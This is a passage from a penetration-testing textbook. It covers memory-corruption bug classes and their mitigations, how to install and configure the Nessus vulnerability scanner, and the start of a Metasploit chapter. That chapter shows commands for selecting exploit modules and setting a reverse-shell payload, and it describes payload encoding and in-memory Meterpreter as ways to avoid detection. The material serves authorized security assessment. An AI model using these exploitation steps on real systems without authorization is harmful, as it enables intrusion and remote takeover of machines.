Not discussed here, but static overflows are very similar to heap and off-by-one attacks. Logical program flow is usually compromised using a static overflow to overwrite a function pointer, generic pointer, or authentication flag. Static overflows are rare, due to the unusual global nature of the variable being overflowed.

Integer overflows (delivery mechanism for stack, heap, and static overflows)

Calculation bugs result in large or negative numbers being processed by functions and routines that aren’t expecting such values. Integer overflows are technically a delivery mechanism for a stack, heap, or static overflow, usually resulting in sensitive values being overwritten (saved instruction and frame pointers, heap control structures, function pointers, etc.).

Format string bugs

Various functions (including printf() and syslog()) provide direct memory access via format strings. If an attacker can provide a series of format strings, he can often read data directly from memory or write data to arbitrary locations. The functionality within printf() is simply being abused by forcing processing of crafted format strings; no overflow occurs.

Mitigating Process Manipulation Risks

There are a number of techniques that you can use to mitigate underlying security issues, so that even if your applications or network services are theoretically vulnerable to attack, they can’t be practically exploited.

Here are the five main approaches:

• Nonexecutable stack and heap implementation
• Use of canary values in memory
• Running unusual server architecture
• Compiling applications from source
• Active system call monitoring

As with any bolt-on security mechanism, there are inherent positive and negative aspects. Here I discuss these approaches and their shortfalls in some environments.
Nonexecutable Stack and Heap Implementation

An increasing number of operating systems support nonexecutable stack and heap protection (including Windows XP SP2, Windows 2003 Server, OpenBSD, Solaris, and a number of Linux distributions). This approach prevents the instruction pointer from being overwritten to point at code on the stack or heap (where most exploits place their shellcode in user-supplied buffers).

To defeat this kind of protection, return-into-libc or a similar attack executes inbuilt system library calls that can be used to compromise the system. These attacks require accurate details of loaded libraries and their locations, which can only practically be gained through having a degree of local system access in the first place.

From a network service protection perspective, implementing nonexecutable stack and heap elements can certainly prevent remote exploitation of most memory manipulation bugs.

Use of Canary Values in Memory

Windows 2003 Server, OpenBSD, and a number of other operating systems place canary values on the stack (and sometimes heap) to protect values that are critical to logical program flow (such as the saved frame and instruction pointers on the stack).

A canary value is a hashed word that is known by the system and checked during execution (e.g., before a function returns). If the canary value is modified, the process is killed, preventing practical exploitation.

Running Unusual Server Architecture

Security through obscurity can certainly buy you a lot of time and raise the bar to weed out all the script kiddies and opportunistic attackers who are attempting to compromise your servers.

One such method is to use a nonstandard operating system and underlying server architecture, such as NetBSD on a Sun SPARC system. A benefit of using a big-endian architecture such as SPARC is that stack and heap off-by-one bugs aren’t practically exploitable, and Intel x86 shellcode in prepackaged exploits (such as those found on Packet Storm, SecurityFocus, and other sites) won’t be effective.

Compiling Applications from Source

As overflows become more complex to exploit and identify, they rely on more variables to remain constant on the target system in order to be exploited successfully. If you install precompiled server applications (such as OpenSSH, WU-FTP, Apache, etc.) from RPM or other packaged means, the GOT and PLT entries will be standard and known to attackers.
However, if you compile your applications (server software in particular) from source yourself, the GOT and PLT entries will be nonstandard, reducing the effectiveness of a number of exploits that expect function addresses to be standard in order to work.

**Active System Call Monitoring**

A small number of host-based IDS systems now perform active system call monitoring to establish known logical execution paths for programs. If the program attempts to access a sensitive system call that it usually doesn’t, the proactive monitoring system kills the process. An example of this would be if an attacker attempts to remotely spawn a command shell, and calls to socket() are made when the policy defines that the process isn’t allowed to make that system call.


Systrace is an open source Unix-based alternative by Niels Provos. Systrace is part of NetBSD and OpenBSD, which provides active system call monitoring according to a predefined policy. It’s also available for Linux and Mac OS from these locations:

- [http://www.systrace.org/](http://www.systrace.org/)
- [http://www.citi.umich.edu/u/provos/systrace/](http://www.citi.umich.edu/u/provos/systrace/)

**Recommended Secure Development Reading**

Prevention is the best form of protection from application-level threats such as overflows and logic flaws. The following books discuss how to assess software for weaknesses and cover secure programming techniques and approaches (primarily with C programming examples across Unix and Windows platforms):

- *The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities*, by Mark Dowd et al. (Addison-Wesley)
- *Fuzzing: Brute Force Vulnerability Discovery*, by Michael Sutton et al. (Addison-Wesley)
- *Secure Coding: Principles and Practices*, by Mark Graff and Kenneth van Wyk (O’Reilly)
- *Secure Programming Cookbook for C and C++: Recipes for Cryptography, Authentication, Input Validation & More*, by John Viega et al. (O’Reilly)
Nessus (http://www.nessus.org) is a free vulnerability scanner that can be used to perform a number of network-wide bulk security checks, significantly reducing the amount of time spent during a penetration test performing manual checks. Tenable Network Security, Inc., is the author and manager of the Nessus Security Scanner. In addition to constantly improving the Nessus engine, Tenable produces most of the plug-ins that implement the security checks available to the scanner, and charges a subscription fee for early access to new plug-ins through their “direct feed.” A free plug-in feed is available with registration, which includes the security checks delayed seven days from release.

**Nessus Architecture**

The Nessus Security Scanner is structured as client-server architecture. The Nessus client configures the various target, scanning, and plug-in options, and it reports the findings from the scan to the user. The Nessus server performs all of the scanning and security checks, which are implemented as plug-ins written in *Nessus Attack Scripting Language* (NASL). All communication between the client and the server pass over a *Transport Layer Security* (TLS) encrypted connection.

At a high level, Nessus can be run in two different modes: with or without authentication credentials. When run without credentials, Nessus will perform remote network-based security checks, testing how the target host responds to specific network probes. When run with credentials, Nessus will additionally log into the remote host and perform a number of local security checks, such as ensuring that the latest security patches have been installed.

This chapter focuses on the installation and use of version 3 of Nessus. Two versions of the Nessus Security Scanner are currently available: Nessus 2 and Nessus 3 (at the time of writing, the current stable versions are Nessus 2.2.10 and Nessus 3.0.6). Nessus 2 is the open source version of the scanner, released under the GNU *General Public License* (GPL), and as such is commonly distributed as a binary or
with source code for a number of Unix-based operating systems. Nessus 3 is the rewritten and improved version, with binary versions available from Tenable under a proprietary license, with significant performance and memory usage improvements over Nessus 2. While most plug-ins can be used interchangeably within both Nessus 2 and Nessus 3, and both versions are actively maintained by Tenable, most users should consider using Nessus 3 (if a version is available for their operating system) due to the increased performance.

Nessus servers and clients are available for a variety of operating systems. As such, the Nessus server can be deployed on one platform (e.g., Linux) and the client deployed on a different platform (e.g., Windows), or both the server and client on the same system (such as a laptop used for network assessments).

The Nessus 3 server is available as a binary installation package for a number of popular operating systems, including Linux (Red Hat Enterprise Server, Fedora Core, SuSE, and Debian), FreeBSD, Solaris, Mac OS X, and Windows (2000, XP, and 2003). Nessus servers for Unix-based environments include only a command-line Nessus client, and so a separate third-party graphical user interface (GUI) client is required. The Nessus server for Windows and Mac OS X, however, already includes command-line and GUI Nessus clients for convenience. A number of standalone Nessus clients are available, including the GUI clients NessusClient 3, NessusClient 1, and NessusWX. In addition, several tools can utilize a Nessus server directly, such as Sensepost’s BiDiBLAH (http://www.sensepost.com/research/bidiblah/) and Inprotect (http://inprotect.sourceforge.net). Nessus servers can also be integrated as part of an enterprise scanning solution by Tenable’s Security Center product.

NessusClient 1 and 3 are available from Tenable for Linux (Red Hat Enterprise, Fedora Core, SuSE, Debian, and Ubuntu), Solaris, and Windows. The source code for NessusClient 1 is available for other Unix-based systems. NessusWX is an older client that is only available on Windows.

**Deployment Options and Prerequisites**

For a Nessus server scanning a class C network block, Tenable recommends a minimum configuration of a Pentium 3 or PowerPC G4 processor running at 733 MHz with 256MB of memory. For larger scans, at least 1GB of memory should be available.

The Nessus server requires administrative permissions to install on all platforms; therefore, the account used to install should be root or equivalent on Mac OS X and Unix-based systems, and should have Local Administrator rights on Windows.

The Nessus server should have good TCP/IP network connectivity, preferably unrestricted by controls that may be in place throughout the rest of the network. Controls such as host-based firewalls, network firewalls, Network Address Translation (NAT), and Access Control Lists (ACLs) on routers can all have an
adverse affect on the reliability and accuracy of scans from a Nessus server, so the deployment location of a Nessus server should be considered. Additionally, when deploying Nessus on Windows, Tenable recommends installing the Nessus server on a Windows server product (such as Windows 2003 Server), as Windows XP SP2 introduced a number of controls that can adversely affect the reliability of scans.

As noted earlier, there are two main options when obtaining the Nessus plug-ins that implement the security checks performed by the Nessus server: purchase a per-server commercial “direct feed” from Tenable, or register for the free “registered feed.” Users will receive an activation code for the registered feed when registering to download Nessus. Activation codes for additional Nessus server installations can be obtained from http://www.nessus.org.

The registered feed contains all of the security checks written by third parties, as well as all of the security checks written by Tenable, delayed by seven days. The registered feed does not include support for some advanced functionality that is included within the commercial direct feed, such as policy compliance auditing and proprietary Supervisory Control And Data Acquisition (SCADA) control system security checks.

Nessus can also be deployed on a virtual machine, using products such as VMWare. However, this may result in reduced network scanning performance, so you should take care to ensure that the virtual machine is connected directly to the network and is not subject to NAT.

**Nessus Installation**

Nessus server and client installation packages can be downloaded from the Nessus website at http://www.nessus.org/download/ (with GPG-signed MD5 hashes available for integrity checking at http://www.nessus.org/download/MD5.asc).

**Server Installation**

The following section details how to perform a new installation of the Nessus server. A more detailed server installation guide, including instructions for upgrading from Nessus 2 to Nessus 3, updating Nessus 3 installations, and working with Nessus servers not connected to the Internet, can be found at http://www.nessus.org/documentation/.

**Windows and Mac OS X installation**

The Nessus server is distributed as an executable installer for Microsoft Windows (Nessus-3.0.6.exe) and a disk image under Mac OS X (Nessus-3.0.6.dmg.gz). By default, this will install Nessus to C:\Program Files\Tenable\Nessus\ under Windows and /Library/Nessus/ under Mac OS X.
The Nessus server installer prompts the user for an activation code during installation. The code that you enter (for either the registered or direct feed) enables the Nessus server to access the appropriate plug-in feed. The installation process then downloads the latest plug-ins upon registering. Additionally, Nessus running on Windows and Mac OS X is automatically configured to allow a local user to connect to the Nessus server with the included client; Nessus can then be run locally without further configuration.

If you configure the Nessus server to allow remote client connections, you will be required to set up additional user accounts. On Windows, you will have the additional task of configuring the server listener. To do so, use the Nessus User Management and Scan Server Configuration applications (select Start → Program Files → Tenable Network Security → Nessus) to add the user and change the listening IP address from 127.0.0.1 to 0.0.0.0 (or an appropriate IP address). For Mac OS X, use the Nessus Server Manager (access /Applications/Nessus/) to add users.

By default, Nessus running on Mac OS X will perform a plug-in update each day if the server is continuously running. You can manually force a plug-in update using the Server Manager application.

Currently, Nessus will not update plug-ins automatically for Windows. You can update the plug-ins manually using the Plugin Update application or by running updatemod from the command line (located at C:\Program Files\Tenable\Nessus\updatemod.exe, by default).

**Unix-based installation**

The Nessus server is available as an installable package for each supported Unix-based operating platform. It is provided as a package in RPM format for Red Hat, Fedora, and SuSE Linux distributions. Table 15-1 shows the commands that should be run as root (or equivalent) to install the Nessus server on each operating system.

<table>
<thead>
<tr>
<th>Operating system</th>
<th>Installation command(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Debian Linux</td>
<td>dpkg -i &lt;deb file&gt;</td>
</tr>
<tr>
<td>Red Hat, Fedora, and SuSE Linux</td>
<td>rpm -ivh &lt;rpm file&gt;</td>
</tr>
<tr>
<td>Sun Solaris</td>
<td>gunzip &lt;gzipped package file&gt;</td>
</tr>
<tr>
<td></td>
<td>pkgadd -d ./&lt;unzipped package file&gt;</td>
</tr>
<tr>
<td>FreeBSD</td>
<td>pkg_add &lt;package file&gt;</td>
</tr>
</tbody>
</table>
Example 15-1 shows the installation process for Nessus 3 on a Debian Linux system.

Example 15-1. Nessus 3 server installation under Debian

```bash
# dpkg -i Nessus-3.0.6-debian3_i386.deb
Selecting previously deselected package nessus.
(Reading database ... 91118 files and directories currently installed.)
Unpacking nessus (from Nessus-3.0.6-debian3_i386.deb) ...
Setting up nessus (3.0.6) ...
nssusd (Nessus) 3.0.6. for Linux
(C) 1998 - 2007 Tenable Network Security, Inc.

Processing the Nessus plugins...
[##################################################]
All plugins loaded

- Please run /opt/nessus/sbin/nessus-add-first-user to add an admin user
- Register your Nessus scanner at http://www.nessus.org/register/ to obtain
  all the newest plugins
- You can start nssusd by typing /etc/init.d/nssusd start

The Nessus server files are installed under /opt/nessus/ on Linux and Solaris operating systems. Under FreeBSD, the files are installed to /usr/local/nessus/. Once the Nessus server is installed, you must complete two final configuration steps before Nessus can be started:

• Add the first (administrative) user
• Register Nessus and retrieve the latest plug-ins

Adding the first user. By default, Nessus is remotely accessible when it is installed on Unix-based platforms, and an administrative account is required to run, access, and use the server. This first account is created using the nessus-add-first-user utility (found under /opt/nessus/sbin/ on Linux & Solaris, and /usr/local/nessus/sbin/ on FreeBSD). Additional users can be added using the nessus-add-user utility in the same directory. Example 15-2 shows how to add an admin user.

Example 15-2. Adding an admin Nessus user account

```bash
# /opt/nessus/sbin/nessus-add-first-user
Using /var/tmp as a temporary file holder

Add a new nssusd user
----------------------
Login : admin
Authentication (pass/cert) [pass] :
Login password : secret
Login password (again) : secret
```
Registering and retrieving the latest plug-ins. Nessus is registered and the latest plug-ins are retrieved using the `nessus-fetch` utility (found under `/opt/nessus/sbin/` on Linux & Solaris and `/usr/local/nessus/sbin/` on FreeBSD) along with the activation code, obtained by either registering your installation for the free registered feed or by purchasing the direct feed. Example 15-3 shows how the `nessus-fetch` utility is run to register Nessus and download plug-ins.

Example 15-3. Registering and updating Nessus

```
# /opt/nessus/bin/nessus-fetch --register 925D-8831-88EF-B947-00655
Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...

Your Nessus installation is now up-to-date.
If auto_update is set to 'yes' in nessusd.conf, Nessus will
update the plugins by itself.
```

Once you have added the administrative user, registered Nessus, and updated its plug-ins, you can start the Nessus server. You can do this manually by running `nessusd -D` (found under `/opt/nessus/sbin/` on Linux and Solaris and under `/usr/local/nessus/sbin/` on FreeBSD), or by using an operating system-appropriate startup file (i.e., `/etc/init.d/nessusd start` on many Unix-based operating systems).
By default, Nessus 3 on Unix-based systems will update its plug-ins once a day (if the server is continuously running and Internet-connected). Where a server is not continuously running, you can force a plug-in update by running the `nessus-update-plugins` utility. You can find instructions for activating and updating plug-ins on a system not connected to the Internet in the Nessus installation guide.

**Client Installation**

The following sections detail how to obtain and install a Nessus client. A detailed client installation guide, including details on using the command-line client for scanning, can be found at [http://www.nessus.org/documentation/](http://www.nessus.org/documentation/). Three GUI clients are readily available: Tenable NessusClient version 3 and version 1, available from [http://www.nessus.org/download/](http://www.nessus.org/download/), and NessusWX ([http://nessuswx.nessus.org](http://nessuswx.nessus.org)).

**NessusClient 3 and 1**

NessusClient 3 is distributed as an executable installer for Windows and as an installable package for Unix-based operating systems. For Unix-based systems, the same installation utilities used to install the Nessus server (shown in Table 15-1) should be run as root or equivalent, to install NessusClient 3.

NessusClient 1 is an older client, available as an installable package for many Unix-based operating systems, and as such can be installed using the commands listed in Table 15-1. In addition, NessusClient 1 can be compiled from source code for Unix-based systems.

**NessusWX**

NessusWX ([http://nessuswx.nessus.org](http://nessuswx.nessus.org)) is distributed as a ZIP archive and does not require installation or administrative privileges. As such, you can unzip it to any directory and execute the `NessusWX.exe` application. NessusWX has not been updated since September 2005, and so I recommend using NessusClient instead.

**Configuring Nessus**

The Nessus default scanning policy and setup may not suit all situations. Therefore, Nessus supports a large number of options that allow you to tailor scanning to a particular purpose. Several configurable options are:

- To run from a smaller system, such as a laptop
- To accurately scan firewalled hosts and networks (but maybe more slowly)
- To scan delicate systems by not launching aggressive or intrusive tests
General Nessus server options are set in the `nessusd.conf` file (under Unix-based and Mac OS X platforms), which can be overridden by the Nessus client at runtime. Many of the scan configuration options are plug-in-specific (in fact, each plug-in instructs the client to present configuration options), and so I will only cover Nessus configuration from the client.

**Basic Nessus Configuration**

When you run a Nessus client, many of the options and configuration settings will not be available until the client has connected to a Nessus server. Figure 15-1 shows the NessusClient 3 client.

![NessusClient 3](image)

*Figure 15-1. NessusClient 3*

Although each Nessus client has a different graphical interface, they all require the same three key pieces of information in order to connect to a Nessus server and perform a scan:

- The IP address and authentication details of the Nessus server to use during scanning; by default, the Nessus server listens on TCP port 1241.
• The target network addresses or hosts to be scanned; each client has several ways to specify the target hosts, including specific hostnames or IP addresses, ranges of network addresses, or through supplying a file with a target host on each line.

• The options for specifying the type of scanning to perform, including global options, plug-in options, and credential details (if applicable). These are configured as below for different Nessus clients:

  **NessusClient 3**
  All global and plug-in-specific options are configured as part of a Scan Policy.

  **NessusClient 1**
  Global and plug-in-specific options can be defined as a hierarchy at a Global Settings, Task, and Scope level. For most uses, defining all options at the Scope level is the simplest option.

  **NessusWX**
  Global and plug-in-specific options are defined as properties of a scanning session.

**NessusClient 3 Scanning Options**

When performing vulnerability scanning as part of a network security assessment, you should review the following options to determine their appropriate settings. Figure 15-2 shows the default options for global scan settings and port scanning settings in NessusClient 3.

The scan options mentioned in this section are particular to NessusClient 3, which has a consistent interface across all of the supported operating systems: Linux, Windows, and Mac OS X. Scan options may be located elsewhere in the configuration for other Nessus clients.

By default, the following options are enabled, as discussed here.

**Safe checks**

A number of Nessus plug-ins perform intrusive testing, resulting in DoS. The *safe checks* option, once selected, ensures that these aggressive modules are disabled or run in a nonintrusive way (where specific tests within the plug-in are disabled). A number of plug-ins may report findings based on banners or other enumerated information when the safe checks option is enabled, which may introduce false positives or reporting errors, as banner grabbing is inherently less reliable than full checks.
Nessus TCP scanner

Unix-based Nessus servers use the Nessus TCP scanner by default. Windows Nessus servers use the Nessus SYN scanner, as the Nessus TCP scanner is not available on Windows (due to limitations within the TCP/IP stack). Either scanner should provide fast, reliable results. If installed on the same system as the Nessus server, Nmap is also supported as a port scanner; however, this may significantly increase the scan time.

Ping the remote host

By default, Nessus will attempt to ping remote hosts using a combination of ICMP and TCP probes. If a host does not respond (for example, if the host is firewalled and does not have listening service on the TCP ports that were pinged), no further scanning will be conducted. Where scanning is performed against hardened or firewalled environments, this scan option should be disabled for reliability. Note, however, that doing so may significantly increase the time it takes to complete a scan.
By default, Nessus probes the following TCP ports during this ping process: 21, 22, 23, 25, 53, 79, 80, 111, 113, 135, 139, 161, 443, 445, 497, 515, 548, 993, 1025, 1028, 1029, 1917, 5000, 6000, 8080, 9001, 9100, and 65535.

**Number of hosts/checks in parallel**

The maximum number of threads used by the Nessus server, and hence the amount of memory and network bandwidth, is the number of hosts multiplied by the number of checks. If you are running Nessus on a system with limited memory or bandwidth, you can improve the results simply by experimenting with these settings. However, Tenable recommends starting with 20 parallel hosts for Unix-based servers and 10 for Windows-based servers, and 3 or 4 parallel checks.

In Windows XP Service Pack 2, Microsoft introduced a number of Network Protection Technologies for mitigating the spread of malware. One of these limits the number of simultaneous incomplete outbound TCP connection attempts to 10, with additional attempts being queued and potentially dropped. As this can impact the reliability of port scanning and other security checks, Tenable recommends the following settings for Windows XP Nessus servers:

- Max number of hosts: 10
- Max number of security checks: 4
- Max number of packets per second for port scan: 50

**NessusClient 3 Plug-in Selection**

Figure 15-3 shows the plug-in selection window, which allows you to enable and disable specific plug-ins.

Upon selecting the plug-ins to be used during the test, you should review the following settings.

**Enable dependencies at runtime**

A number of Nessus plug-ins have dependencies on information gathered by other plug-ins. A number of enumeration and information-gathering plug-ins save information gathered about a host during the scan to a scan knowledge base. An example might be when an HTTP server is detected on a nonstandard port; plug-ins that check for security issues on HTTP servers will then be run against that port. Therefore, if a specified number of security checks are to be run, this option should be enabled or some security checks may not operate as expected.

**Silent dependencies**

If selected, this option will suppress output from plug-ins that were enabled as dependencies (i.e., plug-ins that you did not specifically enable).
NessusClient 3 Advanced Options

The advanced options window shown in Figure 15-4 allows you to set advanced global and plug-in-specific options.

Enable CGI scanning

This option enables a number of plug-ins for testing web applications, run once web services are identified by Nessus. Depending on the setting in use, such as mirroring websites found, this may significantly increase the time a scan will take to complete. You can use this option to find previously unknown cross-site scripting (XSS) or SQL Injection issues in some cases.
Running Nessus

Thorough tests
The thorough tests option is disabled by default. When this option is enabled, security checks implementing this option will run a more thorough set of checks, significantly slowing the scan at the expense of a more complete scan.

Optimize test
Enabled by default, the optimize test option will only attempt to run plug-ins that are relevant to the server being tested. For example, where a banner has been detected identifying a service, Nessus will only run checks for that service against that port. This speeds up a scan significantly, at the possible expense of accuracy.

Running Nessus
Once the scan options have been set, you can start the scan. See Figure 15-5 for an example of a scan using NessusClient 3.

Nessus will scan multiple hosts in parallel, up to the maximum specified in the number of hosts scan option. On earlier Nessus clients, security check results were not available until the Nessus server had completed the scan. However, with NessusClient 3, you can view results as the scan is underway, with higher-risk items (security hole and security warning) highlighted in a different color.
Nessus categorizes findings into three severity levels: security hole, security warning, and security info. The most serious, security hole, will often report outdated or exploitable services or systems, but important information for further testing will often be categorized as a security warning or security info, so it may be valuable to review all of the Nessus findings. Figure 15-6 shows a completed scan.

It can also be useful to understand exactly how each finding was made. Each finding within Nessus is reported by one of the plug-ins that implement each security check. Each finding will also have a Nessus Plug-in ID, which uniquely identifies the plug-in that made the finding. Tenable has a page describing each plug-in at a high level, references to additional reading (links to archived BugTraq or Full-Disclosure postings and SecurityFocus bug descriptions), and usually a link to the NASL source code for the plug-in. You can use these resources to fully understand how the plug-in identified the problem, and possibly how the issue could be exploited.
Nessus clients support a number of formats for exporting reports. Most clients support the ability to export reports in a user-friendly HTML format or one or more of the native Nessus formats: NBE or the older NSR format. Some clients also support the ability to either export results in other formats such as XML, PDF, or databases, or to compare two reports for differences.
Running Nessus Recap

The following should be noted when running Nessus:

- Ensure that *Ping the remote host* functionality is disabled if the target host is firewalled or hardened.
- The *safe checks disabled* option may confirm the presence of more vulnerabilities, but you should exercise caution before running this against any production networks or hosts, due to the increased risk of adverse affects resulting in DoS. Consider running another scan with only specific plug-ins enabled, and safe checks disabled in these cases.
- Ensure dependencies are enabled when not running all plug-ins to ensure accurate results.
- If running on Windows XP Service Pack 2, ensure the scan is configured with the settings recommended by Tenable for scanning reliability.
Exploitation frameworks are supported software packages that contain reliable exploit modules and other useful features, such as agents used for successful repositioning. These frameworks allow you to use different exploit payloads and other unique options to obfuscate shellcode and network traffic in order to avoid detection. The most popular exploitation frameworks used by security consultants and hackers today are as follows:

- Metasploit Framework (http://www.metasploit.com)
- CORE IMPACT (http://www.coresecurity.com)
- Immunity CANVAS (http://www.immunitysec.com)

The unique features and aspects of these frameworks are discussed in this chapter, along with other features and add-ons, including GLEG VulnDisco and Argeniss Ultimate 0day Exploits Pack (available from http://gleg.net). Appendix C has a comprehensive list of the supported vulnerabilities and exploit modules within these frameworks and third-party add-on packs.

**Metasploit Framework**

The *Metasploit Framework* (MSF) is a free exploitation framework, written in Ruby, C/C++, and assembler, and it is available for both Windows- and Unix-based systems (including Linux, Mac OS X, and others). MSF has been actively developed and improved by its core development team (H D Moore, Matt Miller [skape], and spoonm) over recent years, and now includes support for over 200 exploits. You can browse the full and current list of exploits supported by MSF 3.0 at http://metasploit.com/svn/framework3/trunk/modules/exploits/.
**MSF Architecture and Features**

The MSF architecture supports the following:

- Execution of auxiliary and exploit modules (from the local system running MSF)
- Selection of specific payloads, settings, and encoding options
- Advanced interaction through the Meterpreter multifunction Windows payload

MSF consists of a number of components that work to first compromise and then interact with a host. The three primary components of the architecture are the interface, modules, and payloads.

**Interface**

MSF can be run in two ways:

- Using an interactive command-line console
- As a web service, supporting multiple sessions and users

The interface is used to select modules for local execution, set exploit and payload options, and launch the exploit to compromise the target host. Under Windows, MSF 3.0 spawns the web interface by default on 127.0.0.1:55555, from which the console is accessible, as shown in Figure 16-1.

![Figure 16-1. The MSF web interface and console](image-url)
On Unix-based platforms, the msfconsole command is used to start the command-line interface:

```
$ msfconsole

msf >
```

The msfweb command is used to start the web server on 127.0.0.1:55555:

```
$ msfweb
[*] Starting msfweb v3.0 on http://127.0.0.1:55555/
```

#### Modules

MSF modules are written in Ruby and fall into two categories: exploit modules and auxiliary modules. Exploit modules trigger overflows and bugs on the target server and inject the selected payload to execute code or perform useful actions. Auxiliary modules support other functions, including port scanning, HTTP testing, Microsoft SQL, and SMB testing.

#### Payloads

Upon selecting an exploit module, it is also necessary to define the payload. The payload is architecture-specific shellcode and is executed on the target server upon successfully compromising it. Payloads can be used to perform many actions, whether binding a command shell to a specific port, spawning a connect-back shell, or delivering a fire-and-forget payload that performs a single action on the target (such as adding a user account or modifying a registry key).
MSF also contains many encoder modules, which are used to obfuscate exploit payloads to avoid filtering mechanisms at either the application or network level. It is often the case that programs will not accept input containing non-ASCII characters, for example, or that network-based IDS/IPS systems identify and filter known payloads. Two particularly useful connect-back MSF payloads are as follows:

- VNC inject (windows/vncinject/reverse_tcp)
- Meterpreter (windows/meterpreter/reverse_tcp)

VNC inject is particularly useful, as it provides remote desktop access with SYSTEM privileges to the compromised host. Even if the desktop is locked, you can launch explorer.exe from the command-line shell that is spawned when you connect via VNC. A good video demonstration of this is available online at http://www.learnsecurityonline.com/vid/MSF3-VNC/MSF3-VNC.html.

The Meterpreter is an advanced multifunction Windows payload. Meterpreter is similar to techniques used in commercial frameworks that take control of a process and harness its privileges. Meterpreter is particularly useful in that all of the libraries and extensions that it loads are executed entirely from memory and never touch the disk, thus allowing them to execute under the radar of antivirus detection. Useful Meterpreter documentation and Vinnie Liu’s antiforensics research notes are available from:

http://metasploit.com/projects/antiforensics/

Using MSF

Once you have successfully accessed a console using MSF, you can use it in the following ways to exploit a target:

- Select the exploit module to use
- Select the exploit payload to use
- Select the target host and delivery vector
- Set exploit target and payload options

The show exploits command is used to list MSF exploit modules (output stripped for brevity):

```
msf > show exploits
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bsdi/softcart/mercantec_softcart</td>
<td>Mercantec SoftCart CGI Overflow</td>
</tr>
<tr>
<td>hpux/lpd/cleanup_exec</td>
<td>HP-UX LPD Command Execution</td>
</tr>
<tr>
<td>irix/lpd/tagprinter_exec</td>
<td>Irix LPD tagprinter Command Execution</td>
</tr>
<tr>
<td>linux/games/ut2004_secure</td>
<td>Unreal Tournament 2004 &quot;secure&quot; Overflow</td>
</tr>
<tr>
<td>linux/http/peercast_url</td>
<td>PeerCast &lt;= 0.1216 URL Handling Buffer Overflow</td>
</tr>
</tbody>
</table>
Metasploit Framework | 397

It is imperative that you keep MSF up-to-date using the MSF Online Update tool from Windows, or by checking out the latest snapshot from the repository using Subversion (see http://framework.metasploit.com/msf/download for details). This ensures that the modules and code base are current.

To view information regarding a specific exploit, use the info command:

```
msf > info exploit/windows/smb/ms04_007_killbill
```

```
Name: Microsoft ASN.1 Library Bitstring Heap Overflow
Version: 4571
Platform: Windows
Privileged: Yes
License: GNU Public License v2.0

Provided by:
  Solar Eclipse <solareclipse@phreedom.org>

Available targets:

Id  Name
--  ----
  0  Windows 2000 SP2-SP4 + Windows XP SP0-SP1

Basic options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PROTO</td>
<td>smb</td>
<td>yes</td>
<td>Which protocol to use: http or smb</td>
</tr>
<tr>
<td>RHOST</td>
<td></td>
<td>yes</td>
<td>The target address</td>
</tr>
<tr>
<td>RPORT</td>
<td>445</td>
<td>yes</td>
<td>Set the SMB service port</td>
</tr>
</tbody>
</table>

Payload information:
Space: 1024
Description:
This is an exploit for a previously undisclosed vulnerability in the
bit string decoding code in the Microsoft ASN.1 library. This
vulnerability is not related to the bit string vulnerability
described in eEye advisory AD20040210-2. Both vulnerabilities were
fixed in the MS04-007 patch. You are only allowed one attempt with
this vulnerability. If the payload fails to execute, the LSASS
system service will crash and the target system will automatically
reboot itself in 60 seconds. If the payload succeeds, the system
will no longer be able to process authentication requests, denying
all attempts to login through SMB or at the console. A reboot is
required to restore proper functioning of an exploited system. This
exploit has been successfully tested with the win32/*/reverse_tcp
payloads, however a few problems were encountered when using the
equivalent bind payloads. Your mileage may vary.

References:
http://www.securityfocus.com/bid/9633
http://www.phreedom.org/solar/exploits/msasn1-bitstring/
http://www.microsoft.com/technet/security/bulletin/MS04-007.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0818
http://milw0rm.com/metasploit/40

To load an exploit module, use the use command:

```
msf > use exploit/windows/dcerpc/msdns_zonename
msf exploit(msdns_zonename) >
```

Upon selecting an exploit for use, you need to also define:

- The desired payload
- Exploit and payload options

To show compatible payloads, use the show payloads command (output stripped for
brevity):

```
msf exploit(msdns_zonename) > show payloads
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>generic/shell_bind_tcp</td>
<td>Generic Command Shell, Bind TCP Inline</td>
</tr>
<tr>
<td>generic/shell_reverse_tcp</td>
<td>Generic Command Shell, Reverse TCP Inline</td>
</tr>
<tr>
<td>windows/adduser</td>
<td>Windows Execute net user /ADD</td>
</tr>
<tr>
<td>windows/adduser/bind_tcp</td>
<td>Windows Execute net user /ADD, Bind TCP Stager</td>
</tr>
<tr>
<td>windows/adduser/find_tag</td>
<td>Windows Execute net user /ADD, Find Tag</td>
</tr>
<tr>
<td>Ordinal Stager</td>
<td></td>
</tr>
<tr>
<td>windows/adduser/reverse_ord_tcp</td>
<td>Windows Execute net user /ADD, Reverse Ordinal TCP Stager</td>
</tr>
<tr>
<td>TCP Stager</td>
<td></td>
</tr>
<tr>
<td>windows/adduser/reverse_tcp</td>
<td>Windows Execute net user /ADD, Reverse TCP Stager</td>
</tr>
<tr>
<td>Stager</td>
<td></td>
</tr>
<tr>
<td>windows/dllinject/bind_tcp</td>
<td>Windows Inject DLL, Bind TCP Stager</td>
</tr>
<tr>
<td>windows/dllinject/find_tag</td>
<td>Windows Inject DLL, Find Tag Ordinal Stager</td>
</tr>
<tr>
<td>windows/dllinject/reverse_http</td>
<td>Windows Inject DLL, PassiveX Reverse HTTP</td>
</tr>
<tr>
<td>Tunneling Stager</td>
<td></td>
</tr>
<tr>
<td>windows/dllinject/reverse_ord_tcp</td>
<td>Windows Inject DLL, Reverse Ordinal TCP Stager</td>
</tr>
</tbody>
</table>

398 | Chapter 16: Exploitation Frameworks
Next, select the desired payload using the `set PAYLOAD` command:

```plaintext
msf exploit(msdns_zonename) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
```

The `shell_reverse_tcp` payload will execute a connect-back shell that connects back to your IP address on a specific port. Upon selecting the exploit module and payload, you can review and set the various options (such as local IP address and port for the connect-back shell, target settings for the exploit itself, and other variables that vary depending on the exploit and payload). You can review the options using the `set` or `show options` commands:

```plaintext
msf exploit(msdns_zonename) > show options
```

### Module options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
